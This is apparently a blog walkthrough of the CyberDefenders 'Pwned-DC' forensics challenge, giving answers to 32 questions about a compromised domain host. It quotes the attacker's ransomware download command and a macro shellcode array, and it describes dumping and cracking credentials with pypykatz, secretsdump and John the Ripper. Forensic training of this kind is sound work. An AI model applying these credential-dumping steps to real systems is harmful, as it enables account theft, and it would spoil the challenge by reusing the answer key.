An ActiveDirectory compromise case: adversaries were able to take over corporate domain controller. Investigate the case and reveal the Who, When, What, Where, Why, and How.
Information
Category Name: Pwned-DC
Files: c70-AD-101.zip 3.5 GB
-20211122102526.zip 9.7 KB
-AD.E01 3.1 GB
-AD.E01.txt 1.1 KB
-M2I3NzVhOTUtNTFiZC00MjE4LWE3ODYtNGMyMjQzZmRhNGQz.bin 14 KB
-memory.dmp 4.1GB
-‘Network Diagram.png’48 KB
-wordlist.txt 4.4 MB
My Recommendations
This is my personal preference, I like being organized and deleting the folder when I’m done with it.
mkdir Documents/CyberDefenders/Pwned-DC && cd Documents/CyberDefenders/Pwned-DCDownload it from CyberDefenders and verify the file with sha1sum. To make things easier, move all the files to the WD:
sha1sum /path/to/c70-AD-101.zip
find AD-101 -type f -exec mv "{}" . \;
rm -rf AD-101/SHA1: 83252e85cd396125643cce6c180465c75d89f93e
Then extract it with the provided the password
Mount it with ewfmount, and then normally:
sudo ewfmount AD.E01 /mnt/ewf
sudo mount -t ntfs-3g -o loop,ro,show_sys_files,stream_interface=windows /mnt/ewf/ewf1 /mnt/WindowsWalkthrough
1. What is the OS Product name of PC01?
Using RegRipper:
rip.pl -r /mnt/Windows/Windows/System32/config/SOFTWARE -p winver
Answer: Windows 10 Enterprise 2016 LTSB
2. On 21st November, there was unplanned power off for PC01 machine.
How long was PC01 powered on till this shutdown?
First, we need to figure out the time of the shutdown. There are multiple Event ID’s that would fit the ‘unplanned power off’: 41, 1074, and 6008.In the System evtx file, there are records only for Event ID 1074. We can filter the output of the event log for that value, in order to get the exact time it was powered off:
evtxtract /mnt/Windows/Windows/System32/winevt/Logs/System.evtx > System.txt
strings System.txt | grep -F '1074' -A 6 | grep '2021-11-21'
#Returns "2021-11-21 09:22:54.527885"
To double check, we can look at the full contents of the event likeso:
strings System.txt | grep -F '2021-11-21 09:22:54.527885' -B 10 -A 20
The EventData confirms the record is for an unplanned power-off. Now, to figure out the time the last time the system was started up, we can search for Event ID 6005, which means that the event log service was started, aka the system was turned on.
strings System.txt | grep -F '6005' -A 6 | grep 2021-11-21
#returns 2021-11-21 10:00:17.896400
The time returned occurs after the system powered off on November 21st, so the system must have started the day before, on November 20th:
strings System.txt | grep -F '6005' -A 6 | grep 2021-11-20
The latest time for System Startup is at 21:51:10:
We can enter the two dates in a time difference calculator to speed up the process:
Answer: 11:31
3. Who was the last logged-in user on PC01?
Using RegRipper:
rip.pl -r /mnt/Windows/Windows/System32/config/SAM -p samparse | grep 'Login Date' -B 10
The only two users that ever logged in are defaultuser0 and 0xMohammed:
0xMohammed logged in last. But defaultuser0 is super sus since its Last Login Date is one day before its creation date.
Answer: 0xMohammed
4. What is the IP address of PC01?
Using RegRipper:
rip.pl -r /mnt/Windows/Windows/System32/config/SYSTEM -p ips
Answer: 192.168.112.142
5. Which port was assigned to man service on PC01?
This information is stored in the drivers/etc/services file:
cat /mnt/Windows/Windows/System32/drivers/etc/services | grep -i 'man'
Answer: 9535
6. What is the "Business.xlsx" LogFile Sequence Number?
Usually, I would use ntfs_parser. However, the $MFT file is not present on the drive. In this case, since we have an E01 image, we can use SleuthKit.
First, we need to find out where the file is located. Then, we need to find its inode number, with ifind. Finally, we can get the file’s full $MFT Entry values with istat:
find /mnt/Windows -name "Business.xlsx"
#returns /mnt/Windows/Users/labib/Desktop/Business.xlsx
sudo ifind -a -f ntfs -n "Users/labib/Desktop/Business.xlsx" /mnt/ewf/ewf1
#returns 249390
sudo istat -f ntfs /mnt/ewf/ewf1 249390
Answer: 1422361276
7. What is the GUID of the C drive on PC01 machine?
Using RegRipper:
rip.pl -r /mnt/Windows/Windows/System32/config/SYSTEM -p mountdev
Regripper doesn’t parse that value. We can look into the Event Logs instead. The ‘Microsoft-Windows-Ntfs Operational.evtx’ is most likely to store information related to the disk:
evtxtract /mnt/Windows/Windows/System32/winevt/Logs/Microsoft-Windows-Ntfs%4Operational.evtx > NTFS
cat NTFS | grep -F 'VolumeName">C:' -B 10 -A 10
If you would want to validate the value ‘fad905b3-fb35-4dbd-ab31-a44f022809d2’, you could do:
cat NTFS | grep -F 'VolumeName">C:' -B 10 | grep -F 'VolumeGuid">' | sort |uniq
This would return all the ‘unique’ values for VolumeName C:. In this case, fad905b3-fb35-4dbd-ab31-a44f022809d2 is the only value associated with the C drive.
Answer: fad905b3-fb35-4dbd-ab31-a44f022809d2
8. What link did the user visit on 2021-11-22 at 19:45:55 UTC?
Trick question! Either we are talking about a link file or an actual link in browser. Hopefully it’ the browser! Going to look for common web history databases in the Users directory:
find /mnt/Windows/Users/ -type f -name "places.sqlite" -o -name "History"
There are two ‘places.sqlite’ databases returned, one for user labib and one for user administrator. Looking into the Administrator’s database, there is nothing of interest. In labib’s database there is evidence of user activity:
The timestamps are in epoch microseconds. The first entry, for ‘bludemy.cyberdefenders.org’ was accessed at 1637610355592000, which converts to exactly November 22, 2021 7:45:55.592 PM.
Answer: bludemy.cyberdefenders.org
9. How many bytes were received by firefox?
After looking for ages, I found a tool that would parse the value of the SRUDB.dat databases. We would just need to inspect the xlsx file afterwards to find the values for Firefox:
python3 srum_dump2.py -i /mnt/Windows/Windows/System32/sru/SRUDB.dat -r /mnt/Windows/Windows/System32/config/SOFTWARE -o SRUDB.xlsx
libreoffice SRUDB.xlsx
In the Network Usage sheet, we can filter the ‘Application’ column for Firefox:
Answer: 20418287
10. What is the folder name where note.txt resides?
Looking for the file in both the mounted partition and the image returns no matches. We can grep for the filename instead:
grep -r -i -F 'note.txt' /mnt/Windows
It returns four matches, one for a dll, two for automatiDestinations-ms files and one ‘note.lnk’ file. The original location of the file can be found in the lnk file:
The file is in \Shared Folders\asd\note.txt
Answer: asd
11. Which volatility 2 profile should be used to analyze the memory image?
The first question of the Challenge asked for the OS Version of the machine. The OS is Windows 10 Entreprise 2016 and its build number is 14393.
With this information, it is possible to check if there are profiles matching this version/build:
vol.py --info | grep 14393
The profile that fits best is Win2016x64_14393, which is exactly the Windows version running.
Answer: Win2016x64_14393
12. Analyzing the memory what is the physical address of the SOFTWARE registry hive?
Using the hivelist plugin:
vol.py -f memory.dmp --profile=Win2016x64_14393 hivelist
The values on the left are the Virtual addresses, the ones on the right are the Physical addresses.
Answer: 0x00000000040f7000
13. What is the master key of the user "0xMohammed"?
The master key refers to the DPAPI master key, which is located in %APPDATA%\Microsoft\Protect\{SID}.
The CTF’s questions are not in order of sources, so we need to consider the E01 Image and the Memory Dump to find the master key. Also, considering that this is a CTF, and that 0xMohammed is an Administrator, it makes sense to look into both Users and the System’s Protect directories.
I tried a lot of different methods, and in the end pypykatz was the fastest and most effective method. The write-up of the failed methods at the end of this post, after question 32.
pypykatz lsa rekall memory.dmp
In the output, there is a LogonSession for 0xMohammed, which contains the DPAPI masterkey:
Answer: 1652c67aa6719519492e67d1b39cab91e7804eb26b259ff351b60df34ee808804314cbfbcf03afbf3bae
3ef2790f2c363ca0a9c8791e0e80d490c26afe77c3be
14. Using the provided word list, what is the password of the user "0xMohammed"?
Again, there are several ways to find 0xMohammed’s password. The full-write up for this question is at the end of the post, in the Password Methods section.
0xMohammed’s NT hash can be found in the output of pypykatz:
pypykatz lsa rekall memory.dmp
We just need to save the hash to a file, and crack it with JohnTheRipper (Jumbo Version):
echo -n 'fa4b2b9e1d904b15d41f63ff1143d7ea' > mohammed.hash
john --wordlist=wordlist.txt --format=NT mohammed.hash
Answer: 0xmohammed!
15. What is the name of the first malware detected by Windows Defender?
First, we need to dump the Event logs of Windows Defender. We want to look for the Event ID 1116, as it’s the ID for detected malware:
evtxtract '/mnt/Windows/Windows/System32/winevt/Logs/Microsoft-Windows-Windows Defender%4Operational.evtx' > DefenderOp.txt
evtxtract '/mnt/Windows/Windows/System32/winevt/Logs/Microsoft-Windows-Windows Defender%4WHC.evtx' > DefenderWhc.txt
cat Defender*txt | grep '1116
So, there are only two events matching. The first detection was at 19:03:28 and the other one more or less 45 seconds later. To find the full event log we can grep for the corresponding date:
cat Defender*txt | grep '2021-11-21 19:03:28' -B 30 -A 30
So the Malware is a ‘Exploit:Win32/ShellCode.BN’. It ran in notepad through the file note.txt (which doesn’t exist on the E01 image).
Answer: Exploit:Win32/ShellCode.BN
16. Provide the date and time when the attacker clicked send (submitted) the malicious email?
For this, we need to find all the email databases:
mkdir emails
find /mnt/Windows/Users -name "*.pst" -exec cp "{}" emails/ \;
The largest pst files are Outlook.pst and hatima.b@cyberdefenders.org.pst , so this is where I’m going to look first.
cd emails
readpst -D -S Outlook.pst
readpst -D -S hatima.b@cyberdefenders.org.pst
#now we can look for attachments and copy them to a seperate file
find . -type f -name "*-*"
The file ‘Unpaid Invoice.xls’ is looking super sus. In Virus Total, it’s flagged as a Shellcode downloader & Trojan. Now, we can look at the email that sent the attachment:
cat './Outlook Data File/Inbox/42'
The email is basically a threat about an unpaid DHL bill, which is a very famous phishing attack. Searching for ‘invoice’ in hatima’s emails, returns two matches. To extract the attachments, we can open the file in CyberChef.
In her case, the attachment is a gzipped, base64 encoded,executable called ‘unpaid invoice.exe’. In Virus Total, this file is all over the place. So far, there are two ‘malicious’ emails that were sent. Both malwares target the process wmiadap.exe.
Anyways, looking at the email’s header it looks like it was sent in August:
We just need to subtract two hours to adapt to the timezone.
Answer: 12/08/2021 04:47:48 AM
17. What is the IP address and port on which the attacker received the reverse shell? IP:PORT
I spent hours trying to solve this one. Originally, I looked at the ‘Unpaid Invoice.xls’ from the attachments. I ran used olevba to find the shellcode:
cp 'Outlook Data File/Inbox/42-Unpaid Invoice.xls' .
olevba '42-Unpaid Invoice.xls'
Typical shellcode energy… We can quickly convert it in python:
#Python shell
array = [51, 201, 100, 139, 73, 48, 139, 73, 12, 139, 73, 28, 139, 89, 8, 139, 65, 32, 139, 9, 128, 120, 12, 51, 117, 242, 139, 235, 3, 109, 60, 139, 109, 120, 3, 235, 139, 69, 32, 3, 195, 51, 210, 139, 52, 144, 3, 243, 66, 129, 62, 71, 101, 116, 80, 117, 242, 129, 126, 4, 114, 111, 99, 65, 117, 233, 139, 117, 36, 3, 243, 102, 139, 20, 86, 139, 117, 28, 3, 243, 139, 116, 150, 252, 3, 243, 51, 255, 87, 104, 97, 114, 121, 65, 104, 76, 105, 98, 114, 104, 76, 111, 97, 100, 84, 83, 255, 214, 51, 201, 87, 102, 185, 51, 50, 81, 104, 117, 115, 101, 114, 84, 255, 208, 87, 104, 111, 120, 65, 1, 254, 76, 36, 3, 104, 97, 103, 101, 66, 104, 77, 101, 115, 115, 84, 80, 255, 214, 87, 104, 114, 108, 100, 33, 104, 111, 32, 87, 111, 104, 72, 101, 108, 108, 139, 204, 87, 87, 81, 87, 255, 208, 87, 104, 101, 115, 115, 1, 254, 76, 36, 3, 104, 80, 114, 111, 99, 104, 69, 120, 105, 116, 84, 83, 255, 214, 87, 255, 208]
barray = bytearray(array)
outfile = open("shellcode.sc", 'wb').write(barray)
Then, I ran the shellcode in my Virtual Machine with scdbg and it did execute properly:
But the output was completely useless…
Instead of looking for the file’s hash, I extracted the ‘vbaProject.bin’ file from the xls file. Its md5 hash is ‘f55f16ec3b140c3f536f644b7925227b‘, which brought me over to this report with a completely different array :(. So I just replicated the method above and ran the shellcode in scdb with the options ‘Scan for Api Table’ and ‘Unlimited Steps’ . Now, the shellcode actually looks like malware:
The Attacker is listening on port 8080, at the address ‘192.168.112.128’.
Answer: 192.168.112.128:8080
18. Analyzing the reverse shell. What is the first argument given to InternetErrorDlg API?
The first argument is ‘11223344’:
Answer: 11223344
19. What is the MITRE ID of the technique used by the attacker to achieve persistence?
cat /mnt/Windows/Users/administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
20. What is the attacker's C2 domain name?
The daily scheduled tasks executes mshta.exe to run a .hta file at the domain http[://]c2[.]cyberdefenders[.]org/
Answer: http[://]c2[.]cyberdefenders[.]org/
21. What is the name of the tool used by the attacker to collect AD information?
So as we know, the commands are being executed via powershell. We can look at the event log of powershell to find potential information:
evtxtract /mnt/Windows/Windows/System32/winevt/Logs/Microsoft-Windows-PowerShell%4Operational.evtx > Powershell-OP.txt
cat Powershell-OP.txt | grep -F 'Script Name'
#The only unique value returned is C:\Users\labib\Downloads\Invoke-ACLPwn.ps1
In the code’s github page, the script works by ‘creating an export of all ACLs in the domain with SharpHound‘, which is the data collector for Blood Hound. If we look into Labib’s directory, there is no evidence of those files being present. However a lnk file for Blood hound exists:
ls -la /mnt/Windows/Users/labib/AppData/Roaming/Microsoft/Windows/Recent
Additional sources to support this finding are prefetch files and event logs. For prefetch files we can do :
prefetchruncounts.py /mnt/Windows/Windows/Prefetch/
cat Prefetch_run_count.csv | grep -i sharp
For event logs, we can into the Security event log:
evtxtract Security.evtx > security.txt
cat security.txt | grep -i sharphound -B 30
#returns 8 matches
Answer: BloodHound
22. What is the PID of the malicious process?
Using the malfind plugin:
vol.py -f memory.dmp --profile=Win2016x64_14393 malfind | grep Pid
MsMpEng.exe, Microsoft.Acti and wsmprovhost.exe are all ‘default’ executables. svchost.exe, is often used as a mask for malware.
Answer: 3140
23. What is the family of ransomware?
We can dump the PID’s executable with procdump. Then, calculate its md5hash and submit to VirusTotal:
mkdir dumps
vol.py -f memory.dmp --profile=Win2016x64_14393 -D dumps/ procdump --pid 3140
md5sum dumps/executable.3140.exe
#returns 573feeecd2f8d980dfa7a0f4bdcc3d6c
The file is flagged by multiple vendors as a DarkSide ransomware attack:
Answer: DarkSide
24. What is the command invoked by the attacker to download the ransomware?
So we know the attacker’s IP address and that the file was saved as svchost.exe. For that, we can do a simple grep on the memory dump:
strings memory.dmp | grep -F 'OutFile svchost.exe' -B 10 -A 10
Answer: Invoke-WebRequest http[://]192[.]168[.]112[.]128:8000/svchost[.]exe -OutFile svchost.exe
25. Provide the number of ransomware process' privileges that are enabled by default?
Using the privs plugin:
vol.py -f memory.dmp --profile=Win2016x64_14393 privs --pid 3140
There 9 privileges that are not enabled by default:
Answer: 25
26. What is the pool tag of the ransomware process?
Using volshell plugin:
vol.py -f memory.dmp --profile=Win2016x64_14393 volshell
#in vollshell
cc(pid=3140)
dt("_POOL_HEADER", 0xffffba03419b7800-0x60)
#in vollshell
import binascii
hex(1280133197)
binascii.unhexlify('4c4d484d')[::-1]
Answer: MHML
27. What is the address where the ransomware stored the 567-byte key under the malicious process' memory?
DarkSide drops a ReadMe.txt file in a special format. We can dump the memory of PID 3140 to check if it exists:
vol.py -f memory.dmp --profile=Win2016x64_14393 memdump --pid 3140 -D dumps/
strings dumps/3140.dmp | grep 'What happend?' -A 50
The key appears right after an onion link. We can scan the process memory using a yara rule for the key, to find the virtual address, by saving the following to a file:
##Yara Rule:
rule contains_darkkey : darkkey
{
meta:
author = "Me"
description = "This rule finds darkkey"
version = "0.1"
notes = "blablabla"
strings:
$a = "lsJTyyTnzJlGQ1I6sfwV6oVcXaRynwN6mWphA7BKXEDIHJcDlhNNHsrxlkpggRChK2nQ7wP0sknJvl37lbqElTopkUywK3QnfJFmqDBSCmFISeWSudjgwxB4kKSp7h4VySHeu4LmDiZXTAh1dbZHWxTtZ0bA6PhCoDrbGkctY4rucITW4IdYUZJC8d2B7SFnr5EA7EoRkajrZW54brM5Kgwqsz67qzH6Hk0Vr3EDcnGzNjGQBapJczIWkgPtMCJdTkeemQ34XH7wawXu3eOGV3uJlBZNoSuaxtDHMGApS8EWsUXhafMW8WxFLAPLCo6pdm7MLcLsVDp9iBXU1sLv2KkGyUJbO0KOmom9f1JREuidviHRfsndEgMFBAjyq5v4VEIraiioAbtWM7eecYaXPVt3rolsBi8mtjxLOpFj73NPPitoIDxBNfHGzXxvRTXi06Pjx9pRnAtjIqoq5wovnHa8uBel8nq8yDJTk7NWdGdsv3yVwV2TmBin7OvFqHN9lweFNJyuziKCVGEtSaglUNudMmpFnNObGlhfh58jQsrQiQZ2d3AOFsi"
condition:
$a
}
vol.py -f memory.dmp --profile=Win2016x64_14393 yarascan -y dark.yar --pid 3140
And here it is, at address 0x00b5f4a5:
Answer: 0x00b5f4a5
28. What is the 8-byte word hidden in the ransomware process's memory?
So it took me ages to find this, but it was actually so easy…
vol.py -f memory.dmp --profile=Win2016x64_14393 memdump --pid 3140 -D dumps/
xxd dumps/3140.dmp | less
Hidden in plain sight, at offset 0.
Answer: c0n6r475
29. What is the virtual address of the device where the ransomware file where opened?
So first, we need to figure out which device opened the ransomware file:
vol.py -f memory.dmp --profile=Win2016x64_14393 handles --pid 3140
Now that we established it was stored and opened in HardDiskVolume4, we can use the device tree plugin to find its virtual address:
vol.py -f memory.dmp --profile=Win2016x64_14393 devicetree | grep -i 'HardDiskVolume4' -B 5 -A 5
Answer: 0xffffba033e631460
30. What is the physical address where the ransomware file is stored in memory?
So we saw that the executable is stored in the Administrator’s Documents’ files. The offset from the handles plugin was ‘0xffffba033ecfdb10’. We can use the filescan plugin to see what the closest match is:
vol.py -f memory.dmp --profile=Win2016x64_14393 filescan > filescan.txt
cat filescan.txt | grep -F '\Device\HarddiskVolume4\Users\Administrator\Documents\svchost.exe'
The closest one to the value from the handles plugin is 0x0000ba033f477bc0. We can convert it in volshell by doing:
vol.py -f memory.dmp --profile=Win2016x64_14393 volshell
#in vollshell
addrspace().vtop(0x0000ba033f477bc0)
#returns 5302193088L
hex(5302193088)
#returns 0x13c090bc0
Answer: 0x13c090bc0
31. What is the ransomware file's internal name?
Internal filename is returned by SystemDiagnostics. We can assume that it is somewhat useless to look into PID’s 3140 executable and memory, as its aim is to conceal itself.
When using the malfind plugin, several PID’s were returned. The one with the most results was MsMpEng.exe, which is the executable for Microsoft Malware Protection Engine. It makes sense that it could potentially store the ransomware’s internal name as it operates with System Diagnostics.
mkdir 1272-vads
vol.py -f memory.dmp --profile=Win2016x64_14393 vaddump -D 1272-vads/ --pid 1272
grep -F '\Users\Administrator\Documents\svchost.exe' 1272-vads/*
#returns 3 files, we can check those files for 'InternalName':
Looking at those three dumps, and grepping for ‘svchost.exe’ -B 10 -A 10 the internal name appears to be ‘calimalimodumator.exe’. If we look at the file with xxd, it’s obvious that it is the internal name for pid 3140.
Looking into google for the filename, there are multiple reports containing many similar values as the peframe output of the executable of pid 3140.
Answer: calimalimodumator.exe
32. Analyzing the ransomware file. what is the API used to get the geographical location?
In the multiple reports for this executable, the ransomware file uses GetLocaleInfoA to query location information.
Answer: GetLocaleInfoA
Master Key Methods
E01 Image:
1. Copy the Protect and Registry directories and use impacket to dump secrets
mkdir E01-Master
cp -r /mnt/Windows/Users/0xMohammed/AppData/Roaming/Microsoft/Protect E01-Master/OxMohammed
cp -r /mnt/Windows/Users/administrator/AppData/Roaming/Microsoft/Protect E01-Master/Admin
cp -r /mnt/Windows/Windows/System32/Microsoft/Protect E01-Master/System
cp -r /mnt/Windows/Windows/System32/config E01-Master/
First, we can extract the secrets from the registry, to try and decrypt the Masterkeys:
secretsdump.py -system config/SYSTEM -security config/SECURITY -sam config/SAM LOCAL > secretsdump.txt
All users’ hashes, except for defaultuser0, are ’31d6cfe0d16ae931b73c59d7e0c089c0′, which means the hash is empty. Defaultuser0 is not crackable by john, and to be honest, it’s not the one we require. Moving on to dumping the master key:
dpapi.py masterkey -sid S-1-5-21-3838719131-336844762-1842689504-1001 -system config/SYSTEM -security config/SECURITY -file OxMohammed/S-1-5-21-3838719131-336844762-1842689504-1001/8ce0f795-e89a-44f9-b1f0-1534ed94ccac
Which returns an error for both users. At this point, I tried using dpapilab-ng but none of the answers were correct. There are no other methods I’ve come across, so we can move our analysis to the memory dump.
Memory Dump:
We can try the following methods to dump the secrets:
1. Use the filescan plugin and extract Protect files
2. Use the mftparser plugin and dump the Protect file
3. Use lsadump plugin
4. Use pypykatz
Method 1:
vol.py -f memory.dmp --profile=Win2016x64_14393 filescan | grep -F '\Protect\'
The files returned belong to Administrator. Given that 0xMohammed is an administrator, it’s worth giving it a try. We could try to dump each file and use impacket to dump the master key, however the files cannot be dumped.
Method 2:
Whilst the dumpfiles plugin didn’t work, sometimes files can be stored in the MFT table. We can check which values contain ‘dumpable’ data by doing:
vol.py -f memory.dmp --profile=Win2016x64_14393 mftparser > mft.txt
cat mft.txt | grep -F '0000000000:' -B 3 | grep Protect
cat mft.txt | grep -F '0000000000:' -B 3 | grep Protect
Luckily, several files are returned. The only Protect directory key that is in a User Directory, contains file c2ddc63b-daed-49b0-af83-d12819a5725d , which we can dump using mftparser.
vol.py -f memory.dmp --profile=Win2016x64_14393 mftparser --dump-dir mftparser --dump-dir mft-protect -o 0xaac7c00,0xaac7800
mv mft-protect/file.0xaac7c00.data0.dmp mft-protect/c2ddc63b-daed-49b0-af83-d12819a5725d
mv mft-protect/file.0xaac7800.data0.dmp mft-protect/CREDHIST
Now, we can try and use impacket on this dpapi blob:
dpapi.py masterkey -file mft-protect/c2ddc63b-daed-49b0-af83-d12819a5725d -s S-1-5-21-3200536464-3375982059-3076520942-500
Which doesn’t return anything.
Method 3:
vol.py -f memory.dmp --profile=Win2016x64_14393 memmdump --pid 672 -D .
There is not much to work with, to be honest:
Method 4:
By far the most straightforward way. I personally saved it for last as I was *slightly* lazy to set up the depreciated rekall environment needed to solve this question.
pypykatz lsa rekall memory.dmp
In the output, there is a LogonSession for 0xMohammed, which holds the DPAPI masterkey:
Password Methods
E01 Image:
1. Copy the Registry directory and use impacket to dump secrets
In the previous method, it was shown that 0xMohammed’s password in the E01 image was empty, and there is no evidence of a plaintext password saved anywhere. It would make sense to move on to the memory dump.
Memory Dump:
We can try the following methods to dump the secrets:
1. Use the filescan plugin and extract the SAM, SECURITY and SYSTEM hives. Then, extract secrets with secretsdump.py.
2. Use the hashdump plugin and bruteforce the hash.
3. Dump lsa memory and try to find the hash
Method 1:
cat filescan.txt | egrep 'SAM|SECURITY|SYSTEM'
Now we can dump the files with:
mkdir regdump
vol.py -f memory.dmp --profile=Win2016x64_14393 dumpfiles -Q 0x0000ba033ea0d300,0x0000ba033ef46490,0x0000ba033efb0690 -n -u -D regdump
#doesn't work, using dumpregistry instead
dumpregistry
vol.py -f memory.dmp --profile=Win2016x64_14393 dumpregistry -D regdump
#now run secretsdump.py
secretsdump.py -system regdump/registry.0xffff860c07c41000.SYSTEM.reg -security regdump/registry.0xffff860c09545000.SECURITY.reg -sam regdump/registry.0xffff860c0959f000.SAM.reg LOCAL
None of the hashes are 0xMohammed’s and the Administrator’s hash doesn’t get brute-forced with the wordlist…
Method 2:
We can try and use the hashdump plugin to view the hashes:
None of these hashes belong to 0xMohammed. We can still give Administrator a try, but again, it doesn’t get bruteforced.
Method 3:
Dumping lssass vads and, grepping for 0xMohammed. Copying matching files
mkdir 672-vads
vol.py -f memory.dmp --profile=Win2016x64_14393 -D 672-vads vaddump --pid 672
grep -r -i -l '0xMohammed' 672-vad > matches.txt
mkdir 672-match
xargs -a matches.txt cp -t 672-match
I tried EVERYTHING with the above, and honestly it was a waste of time. Even when I found the correct hash, I couldn’t really understand how to find/parse the page… pypykatz it is!
TLDR
– This was the most challenging Windows Forensics challenge on CyberDefenders.
– A LOT of tools are required to solve this challenge. Honestly, autopsy might be the easiest way to analyse the disk image. However, I always prefer to use CLI tools as they make me practice/learn about the OS better.
– For the credentials dumping part, I had to install Python3.5, rekall and pypykatz for it to run smoothly. If you want to do the same, there is a tutorial in my resources page.
